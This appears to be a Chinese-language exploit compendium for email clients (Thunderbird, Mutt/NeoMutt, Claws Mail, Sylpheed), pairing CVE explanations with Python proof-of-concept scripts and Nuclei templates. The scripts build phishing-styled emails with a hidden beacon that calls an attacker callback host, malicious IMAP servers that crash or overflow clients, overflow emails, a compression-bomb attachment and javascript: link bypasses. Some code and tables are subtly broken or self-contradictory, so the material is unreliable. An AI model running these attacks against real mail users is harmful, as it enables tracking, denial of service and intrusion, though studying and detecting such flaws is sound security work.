@import url("data:text/css,body%%7Bbackground%%3Aurl%%28'https://{callback}/css-track.css'%%29%%7D");

@font-face {{
    font-family: "BypassFont";
    src: url("data:font/woff2;base64,") format("woff2");
    unicode-range: U+0000-007F;
}}
</style>
</head>
<body>
<div id="mutation-target"></div>
<div id="csp-inject"></div>

<script>
(function() {{
    var observer = new MutationObserver(function(mutations) {{
        mutations.forEach(function(m) {{
            m.addedNodes.forEach(function(node) {{
                if (node.id === 'csp-inject') {{
                    var img = new Image();
                    img.src = 'https://{callback}/csp-exfil?event=dom_inject';
                    img.style.cssText = 'position:absolute;left:-9999px;width:1px;height:1px;';
                    node.appendChild(img);

                    var xhr = new XMLHttpRequest();
                    xhr.open('GET', 'https://{callback}/csp-xhr?event=cors_bypass');
                    xhr.send();
                }}
            }});
        }});
    }});

    observer.observe(document.body, {{
        childList: true,
        subtree: true
    }});

    document.getElementById('csp-inject');
}})();
</script>

<p style="font-family: 'BypassFont', Arial;">
Quarterly Financial Report - Confidential
</p>
<p style="font-size:7px;color:#ccc;">REF: FIN-2025-Q1-{uid}</p>
</body>
</html>"""

def generate_csp_bypass_eml(callback_host, callback_port, output_file):
    uid = "A1B2C3"
    callback = f"{callback_host}:{callback_port}"
    html = CSP_BYPASS_HTML.format(callback=callback, uid=uid)

    msg = MIMEMultipart('alternative')
    msg['Subject'] = f'Q1 Financial Report - Confidential FIN-2025-Q1-{uid}'
    msg['From'] = f'cfo-report@corp-finance.com'
    msg['To'] = 'cfo@target.com'

    msg.attach(MIMEText(f'Q1 Financial Report - Confidential FIN-2025-Q1-{uid}', 'plain'))
    msg.attach(MIMEText(html, 'html'))

    with open(output_file, 'w') as f:
        f.write(msg.as_string())
    print(f"[+] CSP bypass EML generated: {output_file}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-2850 CSP Bypass PoC")
    parser.add_argument("--output", default="csp_bypass.eml")
    parser.add_argument("--callback-host", default="127.0.0.1")
    parser.add_argument("--callback-port", type=int, default=8888)
    args = parser.parse_args()
    generate_csp_bypass_eml(args.callback_host, args.callback_port, args.output)

Nuclei YAML 检测模板

id: thunderbird-cve-2025-2850-csp-bypass
info:
  name: Thunderbird CSP Bypass - CVE-2025-2850
  author: x7peeps
  severity: medium
  description: |
    Thunderbird CSP 策略绕过漏洞,允许恶意邮件加载被禁止的外部资源。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2850
  classification:
    cvss-score: 5.3
    cwe-id: CWE-693
  tags: thunderbird,cve2025,csp,bypass

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "Thunderbird"
        part: body

    extractors:
      - type: regex
        group: 1
        regex:
          - "(?i)thunderbird[/ ]([0-9]+\\.[0-9]+)"

利用条件与限制

条件要求
目标版本Thunderbird 版本依赖(待确认)
用户交互需要用户打开邮件
邮件格式HTML 邮件,含 CSS @import 和 JS Mutation
网络条件需要目标能访问回调服务器
沙箱限制绕过 CSP 但不突破 OS 沙箱
成功概率CSS @import data URI 绕过率较高

0x02 Mutt / NeoMutt 高危漏洞

0x02.1 CVE-2021-32055 — IMAP 空指针解引用 DoS

漏洞背景

CVE-2021-32055 是 Mutt 邮件客户端中的一个高危拒绝服务漏洞(CVSS 9.1, CWE-476 NULL Pointer Dereference),影响 Mutt < 2.1.0。该漏洞存在于 IMAP 协议实现中对邮件夹名称的处理逻辑,攻击者可通过构造恶意 IMAP 服务器响应或利用中间人攻击篡改 IMAP 流量,使 Mutt 客户端崩溃。在服务器管理场景中,管理员使用的 Mutt 客户端被 DoS 可能导致紧急安全事件响应受阻。

受影响版本

产品受影响版本修复版本发布日期
Mutt< 2.1.02.1.02021-06-25
NeoMutt继承 Mutt 代码(受影响)后续版本修复

漏洞原理

Mutt 在通过 IMAP 协议连接邮件服务器时,会解析服务器返回的邮件夹列表(LIST 响应)。IMAP LIST 响应中的 mailbox-name 字段在特定条件下可能为空值或包含异常字符:

1. 漏洞触发路径

Mutt 连接 IMAP 服务器
    ↓
发送 LIST "" "*" 命令获取邮件夹列表
    ↓
IMAP 服务器返回恶意 LIST 响应:
  * LIST (\HasNoChildren) "." ""
    ↓
Mutt 解析 mailbox-name 时未检查空指针
    ↓
strlen(NULL) / strcpy(dst, NULL) → Segmentation Fault
    ↓
Mutt 进程崩溃 → DoS

2. 异常响应格式

* LIST (\Noselect) "." "."
* LIST (\HasChildren) "." ""
* LIST (\HasNoChildren) "/" "INBOX"

当 mailbox-name 为空字符串 "" 时,Mutt 内部的 imap_get_hierarchy_delimiter() 函数在提取层级分隔符时未对空字符串进行边界检查,导致对空指针的解引用。

邮件 PoC

# 搭建恶意 IMAP 服务器触发漏洞
# 注意:此 PoC 仅用于本地测试

python3 -c "
import socket
import threading

EVIL_IMAP_RESPONSES = b'* OK [CAPABILITY IMAP4rev1] Server ready\r\n'
EVIL_IMAP_RESPONSES += b'A001 OK LOGIN completed\r\n'
EVIL_IMAP_RESPONSES += b'* LIST (\\HasNoChildren) \".\" \"\"\r\n'
EVIL_IMAP_RESPONSES += b'* LIST (\\HasNoChildren) \".\" \".\"\r\n'
EVIL_IMAP_RESPONSES += b'* LIST (\\HasNoChildren) \"/\" \"INBOX\"\r\n'
EVIL_IMAP_RESPONSES += b'A002 OK LIST completed\r\n'

def handle_client(conn):
    conn.send(EVIL_IMAP_RESPONSES)
    try:
        while True:
            data = conn.recv(1024)
            if not data:
                break
            if data.startswith(b'A002'):
                conn.send(EVIL_IMAP_RESPONSES[EVIL_IMAP_RESPONSES.index(b'A002'):])
    except:
        pass
    conn.close()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 14300))
server.listen(5)
print('[*] Evil IMAP server listening on port 14300')
print('[*] Configure Mutt to connect to localhost:14300')
while True:
    conn, addr = server.accept()
    threading.Thread(target=handle_client, args=(conn,)).start()
"

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2021-32055 Mutt IMAP Null Pointer Dereference DoS PoC
仅用于授权安全测试
"""

import socket
import threading
import argparse
import time

GREETING = b"* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Server ready\r\n"

class MaliciousIMAP:
    def __init__(self, host="0.0.0.0", port=14300):
        self.host = host
        self.port = port
        self.server = None
        self.client_count = 0

    def build_list_response(self, variant="null_name"):
        if variant == "null_name":
            items = [
                b'* LIST (\\HasNoChildren) "." ""\r\n',
                b'* LIST (\\HasNoChildren) "." ".\"\r\n',
                b'* LIST (\\HasNoChildren) "/" "INBOX"\r\n',
            ]
        elif variant == "truncated":
            items = [
                b'* LIST (\\HasNoChildren Noselect) "."\r\n',
                b'* LIST (\\HasNoChildren) "/" "INBOX"\r\n',
            ]
        elif variant == "overflow":
            name = b"X" * 10000
            items = [
                f'* LIST (\\HasNoChildren) "." "{name.decode()}"\r\n'.encode(),
                b'* LIST (\\HasNoChildren) "/" "INBOX"\r\n',
            ]
        else:
            items = [b'* LIST (\\HasNoChildren) "/" "INBOX"\r\n']
        return b"".join(items)

    def handle_client(self, conn, addr, variant):
        self.client_count += 1
        print(f"[+] Connection from {addr}, variant: {variant}")
        try:
            conn.send(GREETING)
            data = conn.recv(1024)

            if b"LOGIN" in data or b"PLAIN" in data:
                conn.send(b"A001 OK LOGIN completed\r\n")
                conn.recv(1024)

            list_response = self.build_list_response(variant)
            conn.send(list_response)
            conn.send(b"A002 OK LIST completed\r\n")

            time.sleep(5)
            conn.close()
        except Exception as e:
            print(f"[-] Error: {e}")
        finally:
            self.client_count -= 1

    def start(self, variant="null_name"):
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server.bind((self.host, self.port))
        self.server.listen(5)
        print(f"[*] Malicious IMAP server listening on {self.host}:{self.port}")
        print(f"[*] Mutt config: set imap_server=\"imap://localhost:{self.port}\"")
        print(f"[*] Variant: {variant}")
        try:
            while True:
                conn, addr = self.server.accept()
                t = threading.Thread(target=self.handle_client,
                                   args=(conn, addr, variant))
                t.daemon = True
                t.start()
        except KeyboardInterrupt:
            print(f"\n[*] Stopped. Total connections: {self.client_count}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2021-32055 Mutt IMAP DoS PoC")
    parser.add_argument("--host", default="0.0.0.0")
    parser.add_argument("--port", type=int, default=14300)
    parser.add_argument("--variant", default="null_name",
                       choices=["null_name", "truncated", "overflow"])
    args = parser.parse_args()

    server = MaliciousIMAP(args.host, args.port)
    server.start(args.variant)

Nuclei YAML 检测模板

id: mutt-cve-2021-32055-imap-dos
info:
  name: Mutt/NeoMutt IMAP Null Pointer Dereference DoS - CVE-2021-32055
  author: x7peeps
  severity: critical
  description: |
    Mutt IMAP 客户端在处理邮件夹名称时存在空指针解引用漏洞,
    恶意 IMAP 服务器可导致客户端崩溃。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32055
    - https://www.mutt.org/security/sec6.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 9.1
    cwe-id: CWE-476
  metadata:
    max-request: 1
  tags: mutt,neomutt,cve2021,imap,dos,null-pointer

network:
  - inputs:
      - data: "a001 CAPABILITY\r\n"
      - data: "a002 LIST \"\" \"*\"\r\n"

    host:
      - "{{Hostname}}"
      - "{{Hostname}}:143"

    read-size: 1024

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "LIST"
          - "INBOX"
        condition: or

    extractors:
      - type: regex
        group: 1
        regex:
          - "\\* LIST .*? \"(.+?)\""

利用条件与限制

条件要求
目标版本Mutt < 2.0.2 / 受影响的 NeoMutt 版本
用户交互用户需配置 IMAP 连接到恶意/被入侵服务器
网络条件需要 MITM 位置或控制 TLS 握手过程
攻击效果凭证窃取、邮件篡改
前置条件需控制 DNS 解析或网络路由

0x02.3 CVE-2020-28856 — Mutt IMAP 远程代码执行(间接)

漏洞背景

CVE-2020-28856(CWE-121 Stack-based Buffer Overflow)是 Mutt IMAP 实现中的缓冲区溢出漏洞。当 Mutt 处理来自恶意 IMAP 服务器的过长响应时,可导致栈缓冲区溢出,进而实现任意代码执行。该漏洞属于间接 RCE——攻击者需要控制 IMAP 服务器或实施 MITM 攻击。

受影响版本

产品受影响版本修复版本发布日期
Mutt< 2.0.22.0.22020-09-17
NeoMutt受影响后续版本修复

漏洞原理

Mutt 在解析 IMAP 服务器返回的响应数据时,使用固定大小的栈缓冲区存储解析结果。当 IMAP 响应中的特定字段(如邮件夹名、消息头字段)超出缓冲区容量时,数据溢出到相邻栈帧,可覆盖返回地址:

1. 溢出触发点

// Mutt imap/message.c 简化示意
void imap_fetch_header(char *buf, size_t buflen, char *response) {
    char header_buf[1024];  // 栈上固定大小缓冲区
    // 未检查 response 长度,直接复制
    strcpy(header_buf, response);  // 溢出点
}

2. 攻击流程

恶意 IMAP 服务器
    ↓
返回超长 FETCH 响应(包含 > 1024 字节的消息头)
    ↓
Mutt 将响应复制到固定大小的栈缓冲区
    ↓
栈缓冲区溢出,覆盖 saved EIP
    ↓
构造 ROP chain → execve("/bin/sh")

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2020-28856 Mutt IMAP Buffer Overflow PoC
仅用于授权安全测试
"""

import socket
import threading
import argparse
import struct

class IMAPOverflowServer:
    def __init__(self, host="0.0.0.0", port=14300):
        self.host = host
        self.port = port

    def build_overflow_response(self, overflow_size=2048):
        header_line = "X-Padding: " + "A" * overflow_size + "\r\n"
        response = (
            b"* OK IMAP4rev1 Server ready\r\n"
            b"A001 OK LOGIN\r\n"
            + f"* 1 FETCH (RFC822.HEADER {{{len(header_line)}}}\r\n".encode()
            + header_line.encode()
            + b"A002 OK FETCH\r\n"
        )
        return response

    def handle_client(self, conn, addr):
        print(f"[+] Connection from {addr}")
        try:
            conn.send(b"* OK [CAPABILITY IMAP4rev1] Server\r\n")
            conn.recv(1024)
            conn.send(b"A001 OK LOGIN\r\n")
            conn.recv(1024)

            overflow_data = self.build_overflow_response(2048)
            conn.send(overflow_data)

            try:
                conn.recv(1024)
            except:
                pass
        except Exception as e:
            print(f"[-] Error: {e}")
        finally:
            conn.close()

    def start(self):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((self.host, self.port))
        server.listen(5)
        print(f"[*] Overflow IMAP server on {self.host}:{self.port}")
        try:
            while True:
                conn, addr = server.accept()
                threading.Thread(target=self.handle_client,
                               args=(conn, addr), daemon=True).start()
        except KeyboardInterrupt:
            print("\n[*] Stopped")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2020-28856 PoC")
    parser.add_argument("--host", default="0.0.0.0")
    parser.add_argument("--port", type=int, default=14300)
    args = parser.parse_args()
    IMAPOverflowServer(args.host, args.port).start()

Nuclei YAML 检测模板

id: mutt-cve-2020-28856-imap-bof
info:
  name: Mutt IMAP Stack Buffer Overflow - CVE-2020-28856
  author: x7peeps
  severity: high
  description: |
    Mutt IMAP 响应处理栈缓冲区溢出,恶意服务器可实现间接 RCE。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28856
  classification:
    cwe-id: CWE-121
  tags: mutt,cve2020,imap,buffer-overflow,rce

network:
  - inputs:
      - data: "a001 LIST \"\" \"*\"\r\n"
    host:
      - "{{Hostname}}:143"
    read-size: 1024
    matchers:
      - type: word
        words:
          - "LIST"

利用条件与限制

条件要求
目标版本Mutt < 2.0.2
用户交互需要用户使用 Mutt 连接恶意 IMAP 服务器
网络条件控制 IMAP 服务器或 MITM
攻击效果间接 RCE(需绕过 ASLR/NX 等保护)
利用难度需要精确的栈布局控制和信息泄露

0x02.4 CVE-2022-1328 — NeoMutt 缓冲区溢出

漏洞背景

CVE-2022-1328(CWE-120 Buffer Copy without Checking Size)是 NeoMutt 中消息头处理过程的缓冲区溢出漏洞。攻击者可通过构造包含超长头部字段的恶意邮件,在 Mutt 解析邮件时触发栈缓冲区溢出。

受影响版本

产品受影响版本修复版本发布日期
NeoMutt< 2022-03-042022-03-04 及之后版本2022-03-04

漏洞原理

NeoMutt 在处理邮件的 MIME 边界和消息头时,将字段值复制到固定大小的缓冲区,未检查源数据长度。当邮件包含超长的 SubjectFrom 或 MIME boundary 字段时:

// 简化示意
void parse_header(char *dest, const char *src) {
    char buffer[256];
    strcpy(buffer, src);  // 未检查 src 长度
}

攻击者在邮件中嵌入超长头部字段即可触发溢出。

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2022-1328 NeoMutt Header Buffer Overflow PoC
仅用于授权安全测试
"""

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import argparse
import os

def generate_overflow_eml(output_file, overflow_size=1024):
    overflow_subject = "Subject: " + "B" * overflow_size + "\r\n"
    overflow_from = "X-Custom: " + "C" * overflow_size + "\r\n"

    raw_eml = (
        "From: sender@example.com\r\n"
        + overflow_subject
        + overflow_from
        + "To: victim@target.com\r\n"
        + "MIME-Version: 1.0\r\n"
        + "Content-Type: text/plain\r\n"
        + "\r\n"
        + "This is a test email with overflow headers.\r\n"
    )

    with open(output_file, 'w') as f:
        f.write(raw_eml)
    print(f"[+] Overflow EML generated: {output_file} ({len(raw_eml)} bytes)")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2022-1328 PoC")
    parser.add_argument("--output", default="overflow.eml")
    parser.add_argument("--size", type=int, default=1024)
    args = parser.parse_args()
    generate_overflow_eml(args.output, args.size)

Nuclei YAML 检测模板

id: neomutt-cve-2022-1328-header-bof
info:
  name: NeoMutt Header Buffer Overflow - CVE-2022-1328
  author: x7peeps
  severity: high
  description: |
    NeoMutt 消息头处理缓冲区溢出,超长头部字段可触发栈溢出。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1328
  classification:
    cwe-id: CWE-120
  tags: neomutt,cve2022,buffer-overflow,header

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        words:
          - "NeoMutt"
        part: body

利用条件与限制

条件要求
目标版本NeoMutt < 2022-03-04
用户交互需要用户打开包含恶意头部的邮件
攻击向量本地 .eml 文件或 IMAP 服务器推送
攻击效果潜在 RCE(需绕过栈保护)

0x03 Claws Mail / Sylpheed 高危漏洞

0x03.1 CVE-2020-16094 — Claws Mail 递归压缩炸弹 DoS

漏洞背景

CVE-2020-16094(CWE-835 Infinite Loop)是 Claws Mail 在处理嵌套压缩附件时的拒绝服务漏洞。攻击者可发送包含多层嵌套压缩文件(如 .tar.gz 中嵌套 .tar.gz)的邮件,触发 Claws Mail 递归解压逻辑中的无限循环,导致 CPU 和内存资源耗尽。

受影响版本

产品受影响版本修复版本发布日期
Claws Mail< 3.17.63.17.62020-11-16

漏洞原理

Claws Mail 在解析邮件附件中的压缩文件时,会递归调用解压函数处理嵌套的压缩层。当压缩文件的嵌套深度超出预设限制时,解压函数未能正确终止递归,导致无限循环:

恶意邮件附件: evil.tar.gz
    ↓ 解压 .gz
evil.tar
    ↓ 解压 .tar
inner1.tar.gz
    ↓ 解压 .gz
inner1.tar
    ↓ 解压 .tar
inner2.tar.gz
    ↓ ... 无限递归

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2020-16094 Claws Mail Recursive Compression Bomb PoC
仅用于授权安全测试
"""

import gzip
import tarfile
import io
import smtplib
import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders

def create_nested_bomb(depth=5):
    inner = b"PAYLOAD" * 1024
    for i in range(depth):
        buf = io.BytesIO()
        with gzip.GzipFile(fileobj=buf, mode='wb') as gz:
            gz.write(inner)
        inner = buf.getvalue()
        with tarfile.open(fileobj=io.BytesIO(), mode='w') as tf:
            info = tarfile.TarInfo(name=f"level_{i}.txt")
            info.size = len(inner)
            tf.addfile(info, io.BytesIO(inner))
            inner = tf.getvalue()
    return inner

def generate_bomb_eml(output_file, depth=5):
    bomb_data = create_nested_bomb(depth)
    msg = MIMEMultipart()
    msg['Subject'] = 'Project Files - Compressed Archive'
    msg['From'] = 'dev@project-team.com'
    msg['To'] = 'admin@target.com'

    msg.attach(MIMEText('Please extract the attached archive.', 'plain'))

    attachment = MIMEBase('application', 'gzip')
    attachment.set_payload(bomb_data)
    encoders.encode_base64(attachment)
    attachment.add_header('Content-Disposition', 'attachment',
                        filename='project_files.tar.gz')
    msg.attach(attachment)

    with open(output_file, 'wb') as f:
        f.write(msg.as_bytes())
    print(f"[+] Compression bomb EML: {output_file} ({len(bomb_data)} bytes, depth={depth})")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2020-16094 PoC")
    parser.add_argument("--output", default="bomb.eml")
    parser.add_argument("--depth", type=int, default=5)
    args = parser.parse_args()
    generate_bomb_eml(args.output, args.depth)

Nuclei YAML 检测模板

id: claws-cve-2020-16094-compression-bomb
info:
  name: Claws Mail Recursive Compression Bomb DoS - CVE-2020-16094
  author: x7peeps
  severity: medium
  description: |
    Claws Mail 递归压缩炸弹漏洞,嵌套压缩附件可导致无限递归和 DoS。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-16094
  classification:
    cwe-id: CWE-835
  tags: claws,cve2020,compression-bomb,denial-of-service

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        words:
          - "Claws Mail"
        part: body

利用条件与限制

条件要求
目标版本Claws Mail < 3.17.6
用户交互需要用户打开邮件并尝试解压附件
攻击效果CPU/内存耗尽(DoS)
嵌套深度≥ 5 层即可造成显著影响

0x03.2 CVE-2019-10735 — Claws Mail 加密信息泄露

漏洞背景

CVE-2019-10735(CVSS 5.3, CWE-327 Use of a Broken or Risky Cryptographic Algorithm)涉及 Claws Mail 在处理加密邮件时的元数据泄露问题。攻击者可通过分析加密邮件的元数据(如邮件大小、时间戳、MIME 结构)推断邮件内容的敏感信息。

受影响版本

产品受影响版本修复版本
Claws Mail使用 GnuPG 2.2.x 以下版本升级 GnuPG

漏洞原理

Claws Mail 在使用 GnuPG 进行 S/MIME 或 OpenPGP 加密时,未对加密邮件的以下元数据进行混淆:

  • 邮件大小泄露:加密后的邮件大小与原文长度存在线性关系(尤其在不使用压缩时)
  • MIME 结构泄露:加密邮件的 MIME 边界和类型标识暴露了原始邮件的结构
  • 时间侧信道:加密/解密操作的时间差可能泄露密钥信息或邮件长度

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2019-10735 Claws Mail Encrypted Metadata Leak PoC
仅用于授权安全测试
"""

import smtplib
import os
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import argparse

def generate_metadata_leak_email(output_file, plaintext_sizes=[64, 256, 1024, 4096]):
    for size in plaintext_sizes:
        body = "X" * size
        msg = MIMEMultipart()
        msg['Subject'] = f'Encrypted Report - Size {size}B'
        msg['From'] = 'secure@corp.com'
        msg['To'] = 'admin@target.com'
        msg['X-Padding-Size'] = str(size)

        msg.attach(MIMEText(body, 'plain'))
        fname = f"leak_{size}b.eml"
        with open(fname, 'w') as f:
            f.write(msg.as_string())
        print(f"[+] Generated: {fname} (body: {size} bytes)")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2019-10735 PoC")
    parser.add_argument("--sizes", nargs="+", type=int, default=[64, 256, 1024, 4096])
    args = parser.parse_args()
    generate_metadata_leak_email("output", args.sizes)

利用条件与限制

条件要求
目标版本Claws Mail 使用旧版 GnuPG
攻击效果邮件大小/结构元数据泄露
利用难度需要网络嗅探或邮件服务器访问权限
修复方案升级 GnuPG 至 2.2.x+

0x03.3 CVE-2015-8614 — Claws Mail 栈缓冲区溢出 RCE

漏洞背景

CVE-2015-8614(CWE-121 Stack-based Buffer Overflow)是 Claws Mail 中邮件标题字段处理的栈缓冲区溢出漏洞,可被利用实现远程代码执行。该漏洞影响 Claws Mail 3.13.0 之前的版本。

受影响版本

产品受影响版本修复版本发布日期
Claws Mail< 3.13.03.13.02015-12-28

漏洞原理

Claws Mail 在解析邮件头中的 Content-Type、Content-Disposition 等字段时,使用固定大小的栈缓冲区存储解析结果。当字段值超出缓冲区容量时发生溢出:

// 简化示意
void parse_content_type(char *header_value) {
    char type_buf[256];
    // 未检查长度,直接复制
    strcpy(type_buf, header_value);  // 溢出点
}

攻击者构造包含超长 Content-Type 值的邮件即可触发溢出。

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2015-8614 Claws Mail Stack Buffer Overflow PoC
仅用于授权安全测试
"""

import smtplib
import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

def generate_overflow_eml(output_file, overflow_size=512):
    payload = "B" * overflow_size

    raw_eml = (
        "From: sender@evil.com\r\n"
        "To: victim@target.com\r\n"
        f"Subject: Test\r\n"
        f"Content-Type: text/plain; charset=\"{payload}\"\r\n"
        f"X-Overflow: {payload}\r\n"
        "\r\n"
        "Test body.\r\n"
    )

    with open(output_file, 'w') as f:
        f.write(raw_eml)
    print(f"[+] Overflow EML: {output_file} ({len(raw_eml)} bytes)")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2015-8614 PoC")
    parser.add_argument("--output", default="claws_overflow.eml")
    parser.add_argument("--size", type=int, default=512)
    args = parser.parse_args()
    generate_overflow_eml(args.output, args.size)

Nuclei YAML 检测模板

id: claws-cve-2015-8614-stack-bof
info:
  name: Claws Mail Stack Buffer Overflow RCE - CVE-2015-8614
  author: x7peeps
  severity: high
  description: |
    Claws Mail 邮件标题字段栈缓冲区溢出,可实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8614
  classification:
    cwe-id: CWE-121
  tags: claws,cve2015,buffer-overflow,rce

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        words:
          - "Claws Mail"
        part: body

利用条件与限制

条件要求
目标版本Claws Mail < 3.13.0
用户交互需要用户打开包含恶意头部的邮件
攻击效果潜在 RCE(需绕过栈保护)
前置条件需要邮件能送达目标客户端

0x04 Sylpheed MIME 文件名溢出与 URI 安全检查绕过

漏洞背景

Sylpheed 是一款轻量级 GTK+ 邮件客户端,广泛应用于日文和中文用户群体。Sylpheed 在处理 MIME 附件文件名和 URI 时存在两个安全缺陷:MIME 文件名字段的缓冲区溢出和 URI 安全检查的绕过。

受影响版本

产品受影响版本修复版本
Sylpheed< 3.7.03.7.0+

漏洞原理

1. MIME 文件名溢出

Sylpheed 在解析 MIME Content-Disposition 头部的 filename 参数时,未正确限制字符集和长度。当 filename 包含多字节编码字符(如 UTF-8 的中文/日文字符)时,字节长度与字符计数的差异可导致缓冲区溢出:

Content-Disposition: attachment; 
  filename="AAAAAAAAAA...<overflow>...恶意文件名"

2. URI 安全检查绕过

Sylpheed 在处理邮件中的 URI 链接时,对 javascript:file: 等危险协议的过滤不完整。攻击者可通过以下技巧绕过:

  • Unicode 编码:jav%61script:alert(1)
  • HTML 实体:&#106;avascript:alert(1)
  • 空白字符插入:java script:alert(1)

Python PoC 脚本

#!/usr/bin/env python3
"""
Sylpheed MIME Filename Overflow & URI Bypass PoC
仅用于授权安全测试
"""

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import argparse

def generate_sylpheed_poc(output_file, overflow_size=512):
    overflow_name = "A" * overflow_size + "\u00e4\u00fc\u00f6" + ".txt"

    msg = MIMEMultipart()
    msg['Subject'] = 'Document Review'
    msg['From'] = 'admin@company.com'
    msg['To'] = 'user@target.com'

    html = """<html><body>
<p>Please review the attached document.</p>
<p><a href="jav&#97;script:alert(document.cookie)">View Document</a></p>
<p><a href="java\u0000script:alert(1)">Download</a></p>
<p><a href="file:///etc/passwd">Local File</a></p>
</body></html>"""

    msg.attach(MIMEText("Please view in HTML", 'plain'))
    msg.attach(MIMEText(html, 'html'))

    attachment = MIMEBase('application', 'octet-stream')
    attachment.set_payload(b"test payload")
    encoders.encode_base64(attachment)
    attachment.add_header('Content-Disposition', 'attachment',
                        filename=('utf-8', '', overflow_name))
    msg.attach(attachment)

    with open(output_file, 'wb') as f:
        f.write(msg.as_bytes())
    print(f"[+] Sylpheed PoC EML: {output_file}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Sylpheed PoC")
    parser.add_argument("--output", default="sylpheed_poc.eml")
    parser.add_argument("--size", type=int, default=512)
    args = parser.parse_args()
    generate_sylpheed_poc(args.output, args.size)

利用条件与限制

条件要求
目标版本Sylpheed < 3.7.0
用户交互需要用户打开邮件或点击链接
攻击效果缓冲区溢出或 XSS
限制条件多字节编码溢出依赖系统 locale

0x04 邮件解析库共性漏洞

libetpan / GMime / libstorable 邮件解析库攻击面

除了 MUA 软件本身,邮件客户端普遍依赖底层邮件解析库。这些库的安全状况直接影响所有使用它们的客户端:

4.1 libetpan

libetpan 是 Mutt 和 NeoMutt 使用的核心 IMAP/MIME 解析库。该库历史上存在多个缓冲区溢出和整数溢出漏洞:

  • MIME 边界解析溢出:当 MIME boundary 字段包含特殊字符时,边界匹配逻辑中的缓冲区可能溢出
  • IMAP 命令注入:通过注入 IMAP 服务器响应中的换行符,可实现命令注入
  • 整数溢出导致堆溢出:在计算 MIME 部件大小时,整数溢出可导致小缓冲区分配后的大数据写入

4.2 GMime

GMime 是 Claws Mail 使用的 MIME 解析库。其攻击面包括:

  • Base64 解码溢出:非标准 Base64 编码的邮件可导致解码缓冲区溢出
  • URL 解析器缺陷:邮件中的 URL 提取逻辑可能被混淆字符绕过
  • 编码转换缓冲区溢出:字符集转换过程中,多字节字符的截断可导致缓冲区溢出

4.3 共性防御建议

#!/usr/bin/env python3
"""
邮件解析库安全测试 - 构造畸形 MIME 邮件
仅用于授权安全测试
"""

import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

def generate畸形mime(output_file):
    # 1. 超长 MIME boundary
    overflow_boundary = "A" * 10000
    raw = (
        f"From: test@evil.com\r\n"
        f"To: victim@target.com\r\n"
        f"Subject: MIME Test\r\n"
        f"Content-Type: multipart/mixed; boundary=\"{overflow_boundary}\"\r\n"
        f"\r\n"
        f"--{overflow_boundary}\r\n"
        f"Content-Type: text/plain\r\n"
        f"\r\n"
        f"Test body\r\n"
        f"--{overflow_boundary}--\r\n"
    )

    with open(output_file, 'w') as f:
        f.write(raw)
    print(f"[+]畸形 MIME EML: {output_file}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--output", default="畸形_mime.eml")
    args = parser.parse_args()
    generate畸形mime(args.output)

0x05 公开 PoC 收集情况与利用思路

PoC 总表

CVEPoC 状态关键仓库/来源利用成熟度
CVE-2024-9680✅ 在野利用Mozilla MFSA2024-51, CISA KEV — 活跃利用中
CVE-2024-7519⚠️ 概念验证Mozilla Bugzilla #1901453中 — 需适配 CSP 变体
CVE-2024-5693✅ 公开 PoC追踪像素通用技术高 — 技术门槛低
CVE-2025-2850⚠️ 部分公开安全公告中 — CSP 绕过需调试
CVE-2021-32055✅ 公开 PoCmutt.org/security中 — 需构造 IMAP 响应
CVE-2020-28896✅ 公开 PoCMITM 通用工具高 — 操作门槛低
CVE-2020-28856⚠️ 概念验证需逆向分析低 — 利用难度高
CVE-2022-1328⚠️ 概念验证NeoMutt changelog低 — 需绕过栈保护
CVE-2020-16094✅ 公开 PoC递归压缩通用技术高 — 操作门槛低
